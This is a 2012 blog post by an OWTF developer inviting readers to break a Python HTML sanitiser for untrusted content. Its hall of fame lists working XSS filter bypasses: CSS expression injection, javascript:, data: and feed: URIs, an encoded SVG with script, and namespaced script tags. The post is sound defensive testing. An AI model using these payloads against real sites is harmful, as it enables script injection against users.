Thursday, 26 January 2012

Embedding untrusted HTML XSS+ challenge

Where this came from - skip to the end for the challenge if you do not care :)

During the OWTF workshop at BSides Vienna the interaction with the audience was great. For the purpose of this blog post the conversation on embedding HTML input from an untrusted source developed as follows:

- Olaf first asked something like "Do you sanitise input in OWTF? like for example the Tool Tip information in the report?" (great question!)

- I answered something like this: "OWTF is a tool that allows code execution by design, I mean, there is a configuration file where you teach it how to run external tools .. I think the issue for OWTF is not really on the configuration -pen tester input- but rather what it does with the input from external sites, actually I am not sure that input is really sanitised properly absolutely everywhere so there must be vulnerabilities for sure... "

- Then I remembered a plugin that embeds content (raw HTML body inside the OWTF report) from a third party site and showed it as an example of "bad bad coding practice" aka "you should never do this". Then I joked about Marc's question on whether the OWTF report was using google analytics :). The google analytics script was really from the untrusted source, not OWTF :).

- Chris John Riley then suggested something like "can't you get rid of it?" (good point!)

- And I said something like "I could but it would still be bad, not as bad as now but still bad". What I meant was that if I stripped out "script" tags, then the third party site could still use javascript events in html attributes or svg tags, etc. So the situation would still "be bad".

The challenge

So for the new OWTF version I have decided that security folks must preach by example and -after some pain trying to figure out how to do this using python- I am going to expose my initial solution to the community so that you try to break it and let me know how it goes :). You can contact me on: name.surname@gmail.com

UPDATE 27/01/2012 - Filter try #1 is broken (see hall of fame below)
UPDATE 27/01/2012 - Filter try #2 is broken (see hall of fame below)
UPDATE 27/01/2012 - Filter try #3 is broken (see hall of fame below)
IMPORTANT TIP: The Backtrack 5 R1 lxml library is slightly weaker (bypasses to filter #3 don't work if you compile lxml using python 2.7-dev). Filter #4 remains undefeated even on the weaker setup .. by now :).
UPDATE 04/02/2012 - Filter try #4 is broken (see hall of fame below)
UPDATE 04/02/2012 - Filter try #5 is broken (see hall of fame below)
Filter try #6 is as follows:


Yes, I am "cheating" (aka trying to follow "best practice" and reuse an apparently good solution instead of a broken home-brew one), I tried to code a solution myself but it was horrible, the library seems to do the basics fine and appears to protect from a number of common attack techniques.

The question is: can you break it? :). Please see installation instructions in the filter script itself (above).

The way the challenge works is:
1) Create a file called "input.txt" with the HTML code of your choice in the same directory
2a) Get the Sanitiser to output evil stuff ... no rules! (XSS, CSS, browser bugs, Java, ActiveX, whatever!)
2b) If you cannot break it but make python choke (i.e. show an error trace) I am also interested!
3) Send me the input.txt PoC file for verification + Let me know how you want me to credit you (name/handle/whatever :))

I will include a ranking of successful breakers that did not wish to be anonymous in an update to this post.

The Sanitiser will be included in the next OWTF release (2-3 weeks maybe).

Thank you in advance for participating! I think the library has more options but I have not explored that yet. Depending on your success there may well be subsequent challenges here :)

Filter try #1 - Hall of Fame
#1 - Mario Heiderich - 26/01/2012
Bypass 1: <style>*{x=expression\28write\28 1\29\29}</style>
Bypass 2: Among many others: <style>@\import "data:,*%7bx:expression%28write%281%29%29%7D";</style>

Filter try #2 - Hall of Fame
#1 - Mario Heiderich - 27/01/2012
Bypass: <a href="javascript:alert(1)">⃒<h1>CLICKME
NOTE: Even basic things like <a href="javascript:alert(1)"> worked .. I hope Filter #3 is harder!

Filter try #3 - Hall of Fame
#1 - @notracecc - 27/01/2012
Bypass: <a href="data:image/svg+xml,%3C%3Fxml%20version%3D%221.0%22%20standalone%3D%22no%22%3F%3E%0A%3C%21DOCTYPE%20svg%20PUBLIC%20%22-%2f%2fW3C%2f%2fDTD%20SVG%201.1%2f%2fEN%22%20%0A%20%20%22http%3A%2f%2fwww.w3.org%2fGraphics%2fSVG%2f1.1%2fDTD%2fsvg11.dtd%22%3E%0A%3Csvg%20width%3D%224in%22%20height%3D%224in%22%20id%3D%22the_svg%22%0A%20%20%20%20%20viewBox%3D%220%200%204%204%22%20version%3D%221.1%22%0A%20%20%20%20%20xmlns%3D%22http%3A%2f%2fwww.w3.org%2f2000%2fsvg%22%3E%0A%09%3Ccircle%20cx%3D%221%22%20cy%3D%221%22%20r%3D%221%22%20fill%3D%22blue%22%20stroke%3D%22none%22%20id%3D%22the_circle%22%2f%3E%0A%20%20%20%3Cscript%20type%3D%22text%2fecmascript%22%3E%0A%20%20%20%3C%21%5BCDATA%5B%0A%20%20%20%5D%5D%3E%0Aalert%281%29%3B%0A%20%20%3C%2fscript%3E%0A%3C%2fsvg%3E">Click</a>

#2 - Mario Heiderich - 27/01/2012
Bypass: <a href='feed:data:x,123456'>Click</a>
NOTE: ok, it looks like the level is going up, thanks!

Filter try #4 - Hall of Fame
#1 - @dreyercito - 04/02/2012 (implied by Filter #5 bypass)
Bypass: <junk1:junk2:junk3:script>alert(1)</junk4>
NOTE: Small variation of the Filter #5 bypass by @dreyercito. Filter #4 is finally broken too :).

Filter try #5 - Hall of Fame
#1 - @dreyercito - 04/02/2012
Bypass: <junk1:junk2:script>alert(1)</junk3>
NOTE: I did not expect less from you my friend :)